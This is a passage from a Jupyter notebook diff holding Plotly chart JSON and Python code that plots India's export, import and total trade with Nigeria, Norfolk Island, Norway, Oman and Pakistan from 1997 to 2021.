- "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[11]]['Year(start)'], y=df[df['Country']==country.index[11]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(10,15):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[11]]['Year(start)'], y=df[df['Country']==country.index[11]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(10,15):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[11]]['Year(start)'], y=df[df['Country']==country.index[11]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(10,15):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "id": "f6cc68a3-e0e0-42c3-aa92-0677d8f0a33d", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 1331.01, - 1425.82, - 3222.11, - 448.44, - 650.26, - 527.21, - 641.13, - 693.07, - 946.5, - 7912.05, - 8697.43, - 10429.61, - 8696.57, - 12886.65, - 17459.78, - 14826.15, - 16765.59, - 16364.34, - 12171.07, - 9423.59, - 11756.26, - 13889.92, - 13823.51, - 8807.27, - 10817.27 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "NIGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 215.53, - 248.09, - 293.71, - 384.66, - 563.14, - 449.08, - 565.49, - 644.68, - 874.03, - 902.84, - 1085.41, - 1529.26, - 1408.67, - 2098.94, - 2702.01, - 2740.04, - 2667.75, - 2681.37, - 2221.9, - 1764.11, - 2254.92, - 3005.21, - 3609.91, - 3134.89, - 3453.4 - ] - }, - { - "mode": "lines", - "name": "NORFOLK IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.77, - 0.25, - 0.1, - 0.75, - 0.68, - 0.24, - 0.56, - 0.1, - 0.09, - 0.54, - 0.49, - 0.38, - 0.11, - 0.76, - 0.24, - 0.49, - 1.36, - 0.06, - 0.33, - 0.28, - 0.38, - 0.19, - 0.33, - 0.22, - 0.18 - ] - }, - { - "mode": "lines", - "name": "NORWAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 77.18, - 55.55, - 51.32, - 60.39, - 54.3, - 70.83, - 75.69, - 103.81, - 130.2, - 184.18, - 265.65, - 393.67, - 228.91, - 179.35, - 334.23, - 234.6, - 229.08, - 263.41, - 541.63, - 244.89, - 359.98, - 313.05, - 421.61, - 322.48, - 285.34 - ] - }, - { - "mode": "lines", - "name": "OMAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 109.29, - 118.55, - 132.77, - 144.62, - 148.99, - 198.61, - 258.99, - 267.67, - 408.43, - 630.97, - 939.43, - 779.04, - 1032.93, - 1082.24, - 1322.13, - 2599.49, - 2812.27, - 2379.44, - 2190.96, - 2728.3, - 2439.46, - 2246.31, - 2261.81, - 2355.3, - 1772.3 - ] - }, - { - "mode": "lines", - "name": "PAKISTAN IR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 143.15, - 106.1, - 92.95, - 186.83, - 144.01, - 206.16, - 286.94, - 521.05, - 689.23, - 1350.09, - 1950.53, - 1439.88, - 1573.32, - 2039.53, - 1541.56, - 2064.79, - 2274.26, - 1857.18, - 2171.17, - 1821.87, - 1924.28, - 2066.56, - 816.62, - 326.87, - 374.62 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 1115.48, - 1177.73, - 2928.39, - 63.78, - 87.12, - 78.13, - 75.64, - 48.4, - 72.46, - 7009.21, - 7612.02, - 8900.35, - 7287.9, - 10787.72, - 14757.77, - 12086.11, - 14097.84, - 13682.97, - 9949.17, - 7659.48, - 9501.33, - 10884.71, - 10213.61, - 5672.38, - 7363.87 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "NIGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1115.48, - 1177.73, - 2928.39, - 63.78, - 87.12, - 78.13, - 75.64, - 48.4, - 72.46, - 7009.21, - 7612.02, - 8900.35, - 7287.9, - 10787.72, - 14757.77, - 12086.11, - 14097.84, - 13682.97, - 9949.17, - 7659.48, - 9501.33, - 10884.71, - 10213.61, - 5672.38, - 7363.87 - ] - }, - { - "mode": "lines", - "name": "NORFOLK IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.07, - 0.01, - 0, - 0.02, - 0, - 0.09, - 0.13, - 0.02, - 0.42, - 0.83, - 0.81, - 0.16, - 0.14, - 0.54, - 0.2, - 0.13, - 0.07, - 0.01, - 0.46, - 0.14, - 0.45, - 0.24, - 0.23 - ] - }, - { - "mode": "lines", - "name": "NORWAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 97.85, - 66.32, - 43.01, - 46.85, - 47.98, - 96.95, - 303.02, - 235.08, - 289.34, - 768.7, - 1639.55, - 1120.73, - 907.35, - 961.49, - 850.97, - 944.98, - 745.14, - 1001.11, - 585.37, - 566.79, - 842.08, - 366.47, - 630.79, - 673.66, - 1784.27 - ] - }, - { - "mode": "lines", - "name": "OMAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.46, - 22.68, - 62.24, - 6.34, - 8.48, - 13.84, - 50.88, - 20.61, - 265.59, - 458.9, - 1141.46, - 1205.46, - 3499.89, - 4002.07, - 3345.94, - 2009.72, - 2951.18, - 1752.24, - 1674.71, - 1290.5, - 4264.29, - 2759, - 3669.33, - 3087.93, - 4735.51 - ] - }, - { - "mode": "lines", - "name": "PAKISTAN IR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.45, - 214.45, - 68.21, - 64.03, - 64.76, - 44.85, - 57.65, - 94.97, - 179.56, - 323.62, - 287.97, - 370.17, - 275.94, - 332.51, - 397.66, - 541.87, - 426.88, - 497.31, - 441.03, - 454.49, - 488.56, - 494.87, - 13.97, - 2.39, - 2.02 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - 